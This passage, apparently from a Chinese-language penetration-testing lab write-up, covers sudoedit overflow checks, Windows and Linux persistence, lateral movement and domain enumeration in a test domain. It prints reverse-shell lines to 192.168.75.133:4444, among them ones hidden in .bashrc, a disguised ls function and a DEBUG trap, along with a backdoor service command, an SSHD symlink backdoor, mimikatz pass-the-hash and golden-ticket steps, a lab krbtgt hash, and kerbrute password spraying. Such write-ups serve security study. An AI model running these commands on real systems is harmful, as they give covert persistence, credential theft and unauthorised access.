sudoedit -s '\\' $(python3 -c 'print(\"A\"*1000)')\n\u5982\u679c\u8fd4\u56de malloc(): invalid size (unsorted) \u6216 Segmentation fault (\u6bb5\u9519\u8bef)\uff0c\u8bf4\u660e\u7cfb\u7edf\u5b58\u5728\u6f0f\u6d1e\u3002\n\u5982\u679c\u8fd4\u56de usage: sudoedit ...\uff0c\u8bf4\u660e\u7cfb\u7edf\u53ef\u80fd\u5df2\u4fee\u590d\u3002<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u590d\u73b0\u8fc7\u7a0b\u4e2d\u4e00\u76f4\u672a\u6210\u529f\uff0c\u7206\u7834\u4e5f\u6ca1\u6709<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6743\u9650\u7ef4\u6301+\u6301\u4e45\u5316<\/h2>\n\n\n\n
Windows<\/h3>\n\n\n\n
regedit\u6743\u9650\u7ef4\u6301<\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8ba1\u5212\u4efb\u52a1\u7a0b\u5e8f\u7ef4\u6301<\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u81ea\u542f\u52a8\u670d\u52a1\u6743\u9650\u7ef4\u6301<\/h4>\n\n\n\n
\u65b0\u5efa\u4e00\u4e2a\u670d\u52a1\uff0c\u8ba9\u5176\u6267\u884c\u4f60\u7684\u540e\u95e8\u7a0b\u5e8f\uff0c\u542f\u52a8\u670d\u52a1\u6bcf\u6b21\u5f00\u673a\u81ea\u52a8\u8fd0\u884c<\/p>\n\n\n\n
sc create backdoor binPath= \"C:\\shell.exe\" start= auto\nsc start backdoor<\/code><\/pre>\n\n\n\n
Linux<\/h3>\n\n\n\n
SSHD\u8f6f\u94fe\u63a5\u540e\u95e8(\u590d\u73b0\u5931\u8d25)<\/h4>\n\n\n\n
\u524d\u63d0PAM\u914d\u7f6e\u4e0d\u5f53\u5b58\u5728\uff1aauth sufficient pam_rootok.so<\/strong>
SSHD\u670d\u52a1\u5f00\u542fPAM\u8ba4\u8bc1\u673a\u5236<\/strong>
sshd<\/code> \u786e\u5b9e\u4f1a\u6839\u636e argv[0]<\/code>\u53bb\u8bfb \/etc\/pam.d\/su<\/code><\/strong><\/p>\n\n\n\n
\u5728Linux\u4e2d\u8f6f\u94fe\u63a5\u76f8\u5f53\u4e8eWindows\u4e0b\u7684\u5feb\u6377\u65b9\u5f0f\uff0c\u800cLinux\u6267\u884c\u7a0b\u5e8f\u65f6\u4f9d\u8d56\u7684\u662f\u8def\u5f84\u89e3\u6790+\u6587\u4ef6\u6307\u5411\uff0c\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u8f6f\u94fe\u63a5\u52ab\u6301\u7a0b\u5e8f\u7684\u6267\u884c\u8def\u5f84\u3002
\u8def\u5f84\u89e3\u6790<\/strong>
\u5f53\u8f93\u5165\u547d\u4ee4sshd\u65f6\u7cfb\u7edf\u4e0d\u4f1a\u51ed\u7a7a\u77e5\u9053sshd\u662f\u5565\uff0c\u7cfb\u7edf\u4f1a\u67e5\u627ePATH\u73af\u5883\u53d8\u91cf\u53ef\u80fd\u662f\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\u7cfb\u7edf\u4f1a\u987a\u5e8f\u53bb\u67e5\u627e\u6700\u7ec8\u627e\u5230\/usr\/sbin\/sshd\u5c31\u662f\u8def\u5f84\u89e3\u6790\u8fc7\u7a0b
\u6587\u4ef6\u6307\u5411\u4e00\u822c\u5206\u4e3a\u4e24\u79cd\u60c5\u51b5<\/strong>
\u666e\u901a\u6587\u4ef6\uff1a\/user\/sbin\/sshd\u662fELF\u53ef\u6267\u884c\u6587\u4ef6\u5c31\u4f1a\u76f4\u63a5\u6267\u884c
\u8f6f\u94fe\u63a5\uff1a\/user\/sbin\/sshd -> \/tmp\/backdoor\u7cfb\u7edf\u4f1a\u987a\u7740\u8f6f\u94fe\u63a5\u627e\u5230\u771f\u5b9e\u6587\u4ef6\u518d\u6267\u884c
\u8fd9\u4e2a\u8fc7\u7a0b\u5c31\u662f\u6587\u4ef6\u6307\u5411<\/p>\n\n\n\n
\u5728Linux\u4e2d\u51e0\u4e4e\u6240\u6709\u7684\u767b\u5f55\u8ba4\u8bc1\uff08SSH\u3001su\u3001sudo\uff09\u90fd\u901a\u8fc7PAM\u6a21\u5757\u5b8c\u6210\uff0c\u5f53\u4e00\u4e2a\u7a0b\u5e8f\u6bd4\u5982sshd\u542f\u52a8\u5e76\u9700\u8981\u8ba4\u8bc1\u7528\u6237\u65f6\uff0c\u5b83\u4f1a\u5bfb\u627e\u4e0e\u81ea\u5df1\u7a0b\u5e8f\u540d\u540c\u540d\u7684\u914d\u7f6e\u6587\u4ef6\u3002
\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6267\u884c \/usr\/sbin\/sshd<\/code> \u65f6\uff0cPAM \u4f1a\u8bfb\u53d6 \/etc\/pam.d\/sshd<\/code>\u3002\u8fd9\u4e2a\u6587\u4ef6\u901a\u5e38\u5305\u542b\u4e25\u683c\u7684\u5bc6\u7801\u6821\u9a8c\u89c4\u5219\u3002
\u5f53\u521b\u5efa\u8f6f\u94fe\u63a5 ln -sf \/usr\/sbin\/sshd \/usr\/local\/su<\/code> \u65f6\uff0c\u5b9e\u9645\u4e0a\u662f\u7ed9 sshd<\/code> \u7a7f\u4e86\u4e00\u5c42 su<\/code> \u7684\u5916\u8863\u3002
\u5f53\u8fd0\u884c \/usr\/local\/su -oPort=12345<\/code> \u65f6\uff0c\u7cfb\u7edf\u5185\u6838\u8fd0\u884c\u7684\u662f sshd<\/code> \u7684\u4ee3\u7801\uff0c\u4f46\u8fdb\u7a0b\u540d\u53d8\u6210\u4e86 su<\/code><\/strong>\u3002\u6b64\u65f6\uff0c\u5b83\u4f1a\u53bb\u8bfb\u53d6 \/etc\/pam.d\/su<\/code><\/strong> \u8fd9\u4e00\u4efd\u914d\u7f6e\u6587\u4ef6\u8fdb\u884c\u8ba4\u8bc1\u3002\u5982\u679cPAM\u914d\u7f6e\u4e2d\u51fa\u73b0pam.rootok.so\u6a21\u5757\u5219\u4f1a\u8ba9uid\u4e3a0\u7684\u7528\u6237\u5373root\u7528\u6237\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u8ba4\u8bc1\u800c\u4e0d\u9700\u8981\u8f93\u5165\u5bc6\u7801\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u521b\u5efaSSHD\u8f6f\u94fe\u63a5\nln -sf \/usr\/sbin\/sshd \/tmp\/su\n\u542f\u52a8\u540e\u95e8\u76d1\u542c\n\/tmp\/su -oPort=12345\n\u8fdc\u7a0b\u8fde\u63a5\uff0c\u65e0\u9700\u5bc6\u7801\u76f4\u63a5\u56de\u8f66\u5373\u53ef\u767b\u5f55root\u8d26\u6237\nssh root@192.168.75.135 -p 12345<\/code><\/pre>\n\n\n\n
\u67d0\u4e9b\u8001\u7248\u672c\u7684 sshd<\/code> \u4f1a\u76f4\u63a5\u901a\u8fc7 argv[0]<\/code> \u6765\u51b3\u5b9a\u8c03\u7528\u54ea\u4e2a PAM \u914d\u7f6e\u6587\u4ef6\uff0c\u65b0\u7248\u7684sshd\u56fa\u5b9a\u4e86\u670d\u52a1\u540d\u79f0\u6dfb\u52a0\u8f6f\u94fe\u63a5\u540e\u8bfb\u53d6\u7684PAM\u914d\u7f6e\u6587\u4ef6\u8fd8\u662f\/etc\/pam.d\/sshd<\/strong><\/p>\n\n\n\n
ssh\u5bc6\u94a5\u540e\u95e8<\/h4>\n\n\n\n
\u901a\u8fc7\u5411.ssh\/authorized_keys\u4e2d\u5199\u5165\u81ea\u5df1\u7684\u516c\u94a5\u5b9e\u73b0\u514d\u5bc6ssh<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Linux bash\u540e\u95e8<\/h4>\n\n\n\n
Bash\u5728\u542f\u52a8\u65f6\uff0c\u4f1a\u81ea\u52a8\u52a0\u8f7d\u4e00\u7cfb\u5217\u914d\u7f6e\u6587\u4ef6\u3002
\u5e38\u89c1\u7684\u52a0\u8f7d\u987a\u5e8f
\/etc\/profile
~\/.bash_profile
~\/.bash_login
~\/.profile
~\/.bashrc
\u5c06\u6076\u610f\u547d\u4ee4\u5199\u8fdb\u8fd9\u4e9b\u6587\u4ef6\uff0c\u5f53\u7528\u6237\u6253\u5f00\u7ec8\u7aef\u7684\u65f6\u5019\u5c31\u4f1a\u81ea\u52a8\u6267\u884c\u6076\u610f\u547d\u4ee4\u53cd\u5f39shell\u5b9e\u73b0\u6743\u9650\u7ef4\u6301\u64cd\u4f5c<\/p>\n\n\n\n
\u5411.bashrc\u4e2d\u5199\u5165\u53cd\u5f39shell\u547d\u4ee4\uff0c\u5f53\u7528\u6237\u6253\u5f00\u7ec8\u7aef\u7684\u65f6\u5019bash\u8bfb\u53d6.bashrc\u81ea\u52a8\u6267\u884c\u53cd\u5f39shell\u4e3b\u52a8\u8fde\u63a5\u653b\u51fb\u8005<\/strong><\/p>\n\n\n\n
bash -i >& \/dev\/tcp\/192.168.75.133\/4444 0>&1<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u884c\u4e3a\u89e6\u53d1\u578bLinux Bash\u540e\u95e8\u4e5f\u662f\u5411.bashrc\u4e2d\u5199\u5165\u53cd\u5f39shell\u547d\u4ee4\uff0c\u8fd9\u91cc\u4f7f\u7528\u4f2a\u88c5\u51fd\u6570\uff0c\u5f53\u7528\u6237\u6267\u884cls\u65f6\u8868\u9762\u6b63\u5e38\u663e\u793a\u6587\u4ef6\u80cc\u5730\u91cc\u4f1a\u89e6\u53d1\u53cd\u5f39shell<\/strong><\/p>\n\n\n\n
unalias ls 2>\/dev\/null \/\/Aliac\u7684\u4f18\u5148\u7ea7\u9ad8\u4e8eFunction\uff0c\u5f53bash\u770b\u5230ls(){\u65f6\u5982\u679cls\u5df2\u7ecf\u88ab\u5b9a\u4e49\u4e3a\u522b\u540d\u5c31\u4f1a\u5c1d\u8bd5\u628a\u51fd\u6570\u540d\u66ff\u6362\u6389\uff0c\u5bfc\u81f4\u8bed\u6cd5\u5d29\u6e83\uff0c\u6240\u4ee5\u5148\u53d6\u6d88\u53ef\u80fd\u5b58\u5728\u7684\u522b\u540d\u9632\u6b62\u62a5\u9519\u3002\nls() {\n    \/bin\/ls \"$@\"\n    bash -i >& \/dev\/tcp\/192.168.75.133\/4444 0>&1\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528Debug Trap\u540e\u95e8\uff0c\u6bcf\u6267\u884c\u4e00\u6761\u547d\u4ee4\u90fd\u4f1a\u89e6\u53d1\u53cd\u5f39shell<\/strong>
Bash\u6267\u884c\u6d41\u7a0b\uff1a\u8bfb\u53d6\u547d\u4ee4 -> \u89e6\u53d1 DEBUG trap -> \u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n
trap ‘bash -i >& \/dev\/tcp\/192.168.75.133\/4444 0>&1’ DEBUG<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6a2a\u5411\u79fb\u52a8<\/h2>\n\n\n\n
\u54c8\u5e0c\u4f20\u9012\u653b\u51fbPTH<\/h4>\n\n\n\n
\u539f\u7406\uff1a\u54c8\u5e0c\u4f20\u9012\u662f\u9488\u5bf9NTLM\u534f\u8bae\u7684\u653b\u51fb\u6280\u672f\uff0c\u56e0\u4e3aNTML\u534f\u8bae\u9a8c\u8bc1\u8eab\u4efd\u65f6\u65e0\u9700\u4f20\u8f93\u660e\u6587\u5bc6\u7801\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7LM Hash\u548cNTLM Hash\u8bbf\u95ee\u8fdc\u7a0b\u4e3b\u673a\u6216\u670d\u52a1\uff0c\u800c\u4e0d\u9700\u8981\u63d0\u4f9b\u660e\u6587\u5bc6\u7801\u3002
PTH\uff1a\u62ff\u5230NTLM Hash\u4e4b\u540e\u76f4\u63a5\u6784\u9020\u8ba4\u8bc1\u6570\u636e\u5305\uff0c\u4f7f\u7cfb\u7edf\u5728\u53d1\u8d77\u7f51\u7edc\u8ba4\u8bc1\u8bf7\u6c42\u65f6\u76f4\u63a5\u4f7f\u7528\u8be5 Hash \u53c2\u4e0e\u8ba1\u7b97\uff0c\u4ece\u800c\u901a\u8fc7\u8fdc\u7a0b\u4e3b\u673a\u6216\u670d\u52a1\u7684\u8eab\u4efd\u9a8c\u8bc1<\/strong>\uff0c\u8ba4\u8bc1\u6210\u529f\u540e\u5373\u53ef\u5192\u5145\u8be5\u7528\u6237\u53bb\u8bbf\u95ee\u5176\u4ed6\u4e3b\u673a\u7684\u8d44\u6e90\uff0c\u5b9e\u73b0\u6a2a\u5411<\/strong>
\u524d\u9762\u63d0\u5230\u4e86NTLM\u7684\u8ba4\u8bc1\u673a\u5236\uff0c\u6700\u5e38\u89c1\u7684\u5c31\u662f\u901a\u8fc7lsass.exe\u8fdb\u7a0b\u5185\u5b58\u4e2d\u76f4\u63a5\u6293\u53d6NTML Hash
\u8001\u751f\u5e38\u8c08\u7684\u5185\u5b58\u6293\u53d6\u5de5\u5177mimikatz<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u5c31\u6293\u5230\u4e86GOD\\Administrator\u4e5f\u5c31\u662fDC\u7684\u57df\u7ba1\u8d26\u53f7<\/p>\n\n\n\n
\u540c\u6837\u5982\u679cCS\u4e0a\u7ebf\u4e86\u4e3b\u673a\u53ef\u4ee5\u5728CS\u5185\u8fdb\u884cmimikatz\u8fd0\u884c\u5f97\u5230NTML Hash\u7136\u540e\u76f4\u63a5\u8fdb\u884cPTH\uff0c\u6d4b\u8bd5\u8bbf\u95eeDC\u7684C\u76d8\u76ee\u5f55<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u4e9b\u5176\u4ed6\u652f\u6301PTH\u7684\u5de5\u5177<\/strong><\/p>\n\n\n\n
impacket\uff1asmbexec\u3001wmiexec\u6a21\u5757
MSF<\/strong>\uff1a\u4f7f\u7528PTH\u8fdb\u884c\u5355\u547d\u4ee4\u6267\u884c\uff08auxiliary\/admin\/smb\/psexec_command\uff09\u3001PTH\u83b7\u53d6meterpreter\u4f1a\u8bdd\uff08MSF\u5efa\u7acb\u5728\u5185\u5b58\u4e4b\u4e0a\u7684\u9ad8\u4ea4\u4e92\u5f0f\u4f1a\u8bdd\uff0c\u53ef\u4ee5\u901a\u8fc7\u4f1a\u8bdd\u6267\u884c\u547d\u4ee4\u3001\u7ba1\u7406\u6587\u4ef6\u3001\u63d0\u6743\u3001\u6293\u53d6\u51ed\u8bc1\u3001\u6a2a\u5411\u79fb\u52a8\uff09<\/p>\n\n\n\n
\u7968\u636e\u4f20\u9012\u653b\u51fbPTT<\/h4>\n\n\n\n
\u524d\u9762\u4ecb\u7ecd\u4e86Kerberos\u7684\u5177\u4f53\u539f\u7406\uff0c\u7528\u6237\u8bbf\u95ee\u670d\u52a1\u9700\u8981\u7684ST\uff08\u7968\u636e\uff09\u9700\u8981\u7528\u6237\u4f7f\u7528KDC\u62ffkrbtgt\u5bc6\u94a5\u52a0\u5bc6\u7528\u6237\u4fe1\u606f\u548cAS Session Key\u5f97\u5230\u7684TGT\u5411TGS\u8fdb\u884cST\u7684\u7533\u8bf7\u3002PTT\u653b\u51fb\u662f\u901a\u8fc7\u7a83\u53d6\u5e76\u590d\u7528\u5df2\u6709\u7684 Kerberos \u7968\u636e\u6765\u8fdb\u884c\u8eab\u4efd\u5192\u7528\u3002\u8fd9\u4e9b\u7968\u636e\u53ef\u4ee5\u6765\u6e90\u4e8e\u7528\u6237\u6b63\u5e38\u767b\u5f55\u540e\u5728\u5185\u5b58\u4e2d\u5b58\u5728\u7684\u5408\u6cd5\u7968\u636e\uff0c\u4e5f\u53ef\u4ee5\u662f\u653b\u51fb\u8005\u901a\u8fc7\u9ec4\u91d1\u7968\u636e\u6216\u767d\u94f6\u7968\u636e\u6280\u672f\u4f2a\u9020\u751f\u6210\u7684\u7968<\/strong><\/strong><\/p>\n\n\n\n
\u9ec4\u91d1\u7968\u636e\uff1a<\/strong>\u5f53\u62e5\u6709krbtgt\u8d26\u6237\u7684\u5bc6\u94a5\uff0c\u53ef\u4ee5\u4f2a\u9020\u4efb\u610fTGT\uff0c\u8fdb\u800c\u4f2a\u9020\u4efb\u610f\u7528\u6237\u8eab\u4efd\u3001\u4ee5\u4efb\u610f\u8eab\u4efd\u7533\u8bf7ST\u901a\u8fc7ST\u8bbf\u95ee\u4efb\u610f\u670d\u52a1\u3002<\/p>\n\n\n\n
\u767d\u94f6\u7968\u636e\uff1a<\/strong>\u62e5\u6709\u67d0\u4e2a\u670d\u52a1\u8d26\u6237\u5bc6\u94a5\uff0c\u901a\u8fc7\u5bc6\u94a5\u6784\u9020ST\uff0c\u4ece\u800c\u8bbf\u95ee\u6307\u5b9a\u670d\u52a1\u8d44\u6e90\uff0c\u65e0\u9700\u4e0eKDC\u4ea4\u4e92\u3002<\/p>\n\n\n\n
\u9ec4\u91d1\u7968\u636e\u590d\u73b0\uff1a<\/strong>\u4e3b\u673a\u4e0a\u7ebf\u4e14\u63d0\u6743\u81f3System\u6743\u9650<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5bf9\u4e0a\u7ebf\u4e3b\u673a\u8fdb\u884clogonpasswords\u5bfc\u51fa\u57df\u7ba1\u7684NTLM Hash<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u57df\u7ba1\u7684NTLM Hash\u8fdb\u884cPTH\u4f2a\u9020\u8eab\u4efd<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u67e5\u8be2\u6240\u5728\u57df\uff0c\u57df\u63a7\u4e3b\u673a\u5730\u5740<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u518d\u901a\u8fc7 DCSync \u6280\u672f\u4ece\u57df\u63a7\u540c\u6b65 krbtgt \u8d26\u6237\u7684 NTLM Hash
DCSync \u662f\u4e00\u79cd\u5229\u7528 Active Directory \u57df\u590d\u5236\u673a\u5236\u7684\u653b\u51fb\u6280\u672f\u3002\u5728\u6b63\u5e38\u7684 AD \u73af\u5883\u4e2d\uff0c\u57df\u63a7\u5236\u5668\u4e4b\u95f4\u4f1a\u901a\u8fc7 MS-DRSR \u534f\u8bae\u8fdb\u884c\u6570\u636e\u590d\u5236\uff0c\u5305\u62ec\u7528\u6237\u51ed\u8bc1\u3001NTLM Hash \u7b49\u654f\u611f\u4fe1\u606f\u3002\u653b\u51fb\u8005\u5728\u83b7\u53d6\u57df\u9ad8\u6743\u9650\u540e\uff0c\u53ef\u4ee5\u6a21\u62df\u4e00\u53f0\u57df\u63a7\u5236\u5668\uff0c\u5411\u771f\u5b9e\u57df\u63a7\u53d1\u8d77\u6570\u636e\u540c\u6b65\u8bf7\u6c42\uff0c\u4ece\u800c\u83b7\u53d6\u6307\u5b9a\u8d26\u6237\uff08\u5982 krbtgt\uff09\u7684 NTLM Hash\u3002\u8be5\u653b\u51fb\u9700\u8981\u5177\u5907\u57df\u590d\u5236\u6743\u9650\uff0c\u5e76\u80fd\u591f\u4e0e\u57df\u63a7\u8fdb\u884c\u7f51\u7edc\u901a\u4fe1\u3002
\u9996\u5148\u6a2a\u5411\u5230DC\u5c06mimikatz\u590d\u5236\u81f3DC\u4e3b\u673a\u8fdb\u884cdcsync\u6280\u672f\u7136\u540e\u5bfc\u51fakrbtgt\u8d26\u6237\u7684hash\u548cSID
2f6dc0efc800d680625388b7b8e7a4b1
S-1-5-21-3713599723-2243236072-2252439450<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56de\u5230CS\u8fdb\u884cGold Ticket\u7684\u6784\u9020\uff0c\u6700\u7ec8\u6210\u529f\u6ce8\u5165\u9ec4\u91d1\u7968\u636e\u5230\u5f53\u524d\u5bf9\u8bdd\u3002\u56e0\u4e3a\u53ea\u8981\u4f7f\u7528 krbtgt \u5bc6\u94a5\u4f2a\u9020\u5408\u6cd5\u7684 TGT\uff0c\u65e0\u8bba\u8d26\u6237\u662f\u5426\u771f\u5b9e\u5b58\u5728\uff0c\u90fd\u53ef\u4ee5\u5411 TGS \u8bf7\u6c42\u4efb\u610f\u670d\u52a1\u7684 ST\uff0c\u6240\u4ee5\u76ee\u524d\u83b7\u53d6\u4e86\u5bf9\u4efb\u610f\u670d\u52a1\u7684\u8bbf\u95ee\u6743\u9650\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7591\u95ee\u70b9<\/h4>\n\n\n\n
1.\u4e3a\u4ec0\u4e48\u9ec4\u91d1\u7968\u636e\u4e0d\u5bf9\u7528\u6237\u8d26\u6237\u4fe1\u606f\u8fdb\u884c\u9a8c\u8bc1\uff1f<\/strong><\/p>\n\n\n\n
Kerberos\u7684\u9a8c\u8bc1\u662f\u73af\u73af\u76f8\u6263\u7684\uff0c\u53ea\u8981\u5f53\u7528\u6237\u8d26\u6237\u5bc6\u7801\u5f97\u5230\u4e86\u9a8c\u8bc1\u4e4b\u540eAS\u624d\u4f1a\u53d1\u9001TGT\u7ed9\u7528\u6237\uff0c\u7528\u6237\u62ff\u7740TGT\u627eTGS\u9a8c\u8bc1\u83b7\u53d6ST\u3002TGS \u5728\u5904\u7406\u8bf7\u6c42\u65f6\uff0c\u5e76\u4e0d\u4f1a\u518d\u6b21\u5411\u57df\u63a7\u67e5\u8be2\u7528\u6237\u8d26\u6237\u4fe1\u606f\uff0c\u800c\u662f\u4ec5\u9a8c\u8bc1 TGT \u662f\u5426\u7531 krbtgt \u5bc6\u94a5\u6b63\u786e\u7b7e\u540d\uff0c\u4e00\u65e6\u7b7e\u540d\u6821\u9a8c\u901a\u8fc7\uff0cTGS \u5c31\u4f1a\u5b8c\u5168\u4fe1\u4efb\u7968\u636e\u4e2d\u7684\u8eab\u4efd\u4e0e\u6743\u9650\u4fe1\u606f\u3002\u5728\u9ec4\u91d1\u7968\u636e\u653b\u51fb\u4e2d\uff0c\u653b\u51fb\u8005\u901a\u8fc7 DCSync \u83b7\u53d6 krbtgt \u5bc6\u94a5\uff0c\u81ea\u884c\u4f2a\u9020\u5408\u6cd5\u7b7e\u540d\u7684 TGT\uff0c\u5e76\u5728\u5176\u4e2d\u6784\u9020\u4efb\u610f\u7528\u6237\u53ca\u6743\u9650\u4fe1\u606f\uff08PAC\uff09\uff0c\u4ece\u800c\u7ed5\u8fc7\u4e86\u5bf9\u771f\u5b9e\u8d26\u6237\u7684\u6821\u9a8c\u8fc7\u7a0b\u3002<\/p>\n\n\n\n
2.\u4e3a\u4ec0\u4e48\u9ec4\u91d1\u7968\u636e\u8fd9\u91cc\u6ca1\u6709\u4f53\u73b0\u5bf9Authentictor\u7684\u4f2a\u9020\u548c\u53d1\u9001\uff1f<\/strong><\/p>\n\n\n\n
Kerberos\u9a8c\u8bc1\u4e2d\u6211\u4eec\u53d1\u73b0\u7528\u6237\u53d1\u9001\u7ed9TGS\u7684\u4e0d\u6b62\u662fTGT\u8fd8\u6709Authentictor\uff0cTGT \u7528\u4e8e\u8bc1\u660e\u7528\u6237\u8eab\u4efd\u4e0e\u6743\u9650\uff08\u7531 krbtgt \u7b7e\u540d\u4fdd\u8bc1\uff09\uff0c\u800c Authenticator \u7528\u4e8e\u9632\u6b62\u91cd\u653e\u653b\u51fb\uff0c\u901a\u8fc7\u65f6\u95f4\u6233\u9a8c\u8bc1\u8bf7\u6c42\u7684\u65f6\u6548\u6027\u3002\u9ec4\u91d1\u7968\u636e\u672c\u8eab\u6ca1\u6709\u4f53\u73b0\u51fa\u5bf9Authentitor\u8fdb\u884c\u7684\u4f2a\u9020\uff0c\u8fd9\u662f\u56e0\u4e3aTGS\u672c\u8eab\u6838\u5fc3\u662f\u5bf9TGT\u7684\u5408\u6cd5\u6027\u6821\u9a8c\u800cAuthentictor\u53ea\u662f\u4e3a\u4e86\u9632\u6b62\u91cd\u653e\u653b\u51fb\u548c\u8eab\u4efd\u4f2a\u9020\uff0c\u56e0\u6b64\u5f53\u6211\u4eec\u8fdb\u884c\u9ec4\u91d1\u7968\u636e\u653b\u51fb\u6784\u9020TGT\u7684\u65f6\u5019\u4f1aCS\u6216\u8005mimikatz\u4f1a\u81ea\u52a8\u8bfb\u53d6TGT\u4e2d\u7684Session Key\u751f\u6210\u5bf9\u5e94\u7684Authentictor\u65e0\u9700\u624b\u52a8\u6784\u9020\u3002<\/p>\n\n\n\n
3.Authentictor\u9700\u8981AS Session Key\u52a0\u5bc6\u5982\u4f55\u89e3\u51b3\uff1f<\/strong><\/p>\n\n\n\n
\u672c\u8eabAS Session Key\u5e76\u4e0d\u662f\u8bf4\u4e00\u5b9a\u662fAS\u53d1\u7684\u624d\u53ef\u4ee5\uff0c\u5728\u9ec4\u91d1\u7968\u636e\u653b\u51fb\u4e2d\uff0c\u653b\u51fb\u8005\u5728\u4f2a\u9020 TGT \u65f6\uff0c\u4f1a\u81ea\u884c\u751f\u6210\u4e00\u4e2a Session Key\uff0c\u5e76\u5c06\u5176\u5d4c\u5165\u5230 TGT \u7ed3\u6784\u4e2d\u3002\u5ba2\u6237\u7aef\u540c\u6837\u6301\u6709\u8be5 Session Key\uff0c\u56e0\u6b64\u53ef\u4ee5\u4f7f\u7528\u8be5 Key \u751f\u6210\u5408\u6cd5\u7684 Authenticator\uff0c\u4ece\u800c\u5b8c\u6210\u6574\u4e2a\u8ba4\u8bc1\u6d41\u7a0b\u3002<\/p>\n\n\n\n
Psexec\u6280\u672f\u6a2a\u5411\u79fb\u52a8<\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
wmiexec\u6280\u672f\u6a2a\u5411<\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
 \u7206\u7834\/\u679a\u4e3e<\/h2>\n\n\n\n
Windows<\/h3>\n\n\n\n
\u57df\u7528\u6237\u679a\u4e3e<\/h4>\n\n\n\n
Kerberos\u8ba4\u8bc1\u7684\u65f6\u5019\u53d1\u9001AS-REQ\u8bf7\u6c42\u65f6\uff0c\u7528\u6237\u4e0d\u5b58\u5728\u4e0e\u5bc6\u7801\u9519\u8bef\u4f1a\u8fd4\u56de\u4e0d\u540c\u7684\u9519\u8bef\u7801KDC_ERR_C_PRINCIPAL_UNKNOWN<\/code>(\u7528\u6237\u4e0d\u5b58\u5728); KDC_ERR_PREAUTH_REQUIRED<\/code>\uff08\u7528\u6237\u5b58\u5728\u4e14\u542f\u7528\u9884\u8ba4\u8bc1\uff09\uff0c\u6839\u636e\u8fd9\u4e2a\u7279\u6027\u5c31\u53ef\u4ee5\u7206\u7834\u57df\u5185\u7528\u6237\uff0c\u8fd9\u91cc\u4f7f\u7528kerbrute\u6765\u8fdb\u884c<\/strong>\uff0c\u679a\u4e3e\u5931\u8d25\u4e86\u53ef\u80fd\u662f\u6211\u7684\u5b9e\u9a8c\u73af\u5883\u4e0bKerberos \u8fd4\u56de\u7edf\u4e00\u9519\u8bef\uff0c\u6ca1\u6709\u914d\u7f6e\u9884\u8ba4\u8bc1\u7b49\u95ee\u9898
.\/kerbrute_windows_amd64 userenum –dc 192.168.52.138 -d GOD.LOCAL users.txt -t 10<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u57df\u7528\u6237\u5bc6\u7801\u7206\u7834<\/h4>\n\n\n\n
\u5f53\u7206\u7834\u51fa\u8d26\u6237\u4e4b\u540e\u591a\u8d26\u6237\u5bf9\u5355\u5bc6\u7801\u8fdb\u884c\u7206\u7834
.\/kerbrute_windows_amd64 passwordspray –dc 192.168.52.138 -d GOD.LOCAL users.txt Charlotte0803<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
SMB\u7206\u7834<\/strong><\/p>\n\n\n\n
SMB\u662f\u4e00\u79cd\u7f51\u7edc\u901a\u4fe1\u534f\u8bae\uff0c\u7528\u4e8e\u5728\u7f51\u7edc\u4e2d\u8d44\u6e90\u5171\u4eab\uff0c\u4f8b\u5982\uff1a\u6587\u4ef6\u5171\u4eab\u3001\u6253\u5370\u673a\u5171\u4eab\u3001\u8fdc\u7a0b\u7ba1\u7406\u3001\u8eab\u4efd\u8ba4\u8bc1\uff0c\u901a\u5e38SMB\u670d\u52a1\u5f00\u5728445\u7aef\u53e3\u3002<\/strong>
\u901a\u5e38\u7684\u5de5\u4f5c\u6d41\u7a0b\uff1a\u5ba2\u6237\u7aef\u8fde\u63a5SMB\u670d\u52a1\uff0c\u53d1\u8d77\u8ba4\u8bc1\uff08NTLM\/Kerberos\uff09\uff0c\u8bbf\u95ee\u5171\u4eab\u8d44\u6e90
\u6c38\u6052\u4e4b\u84dd\u5c31\u901a\u8fc7SMB\u8fdb\u884c\u5229\u7528\uff0cSMBv1 \u5728\u5904\u7406\u7279\u5236\u6570\u636e\u5305\u65f6\u5b58\u5728\u5185\u5b58\u8d8a\u754c\uff08\u7f13\u51b2\u533a\u6ea2\u51fa\uff09\uff0c\u89e6\u53d1\u5185\u5b58\u9519\u8bef\u540e\u5373\u53ef\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/strong><\/p>\n\n\n\n
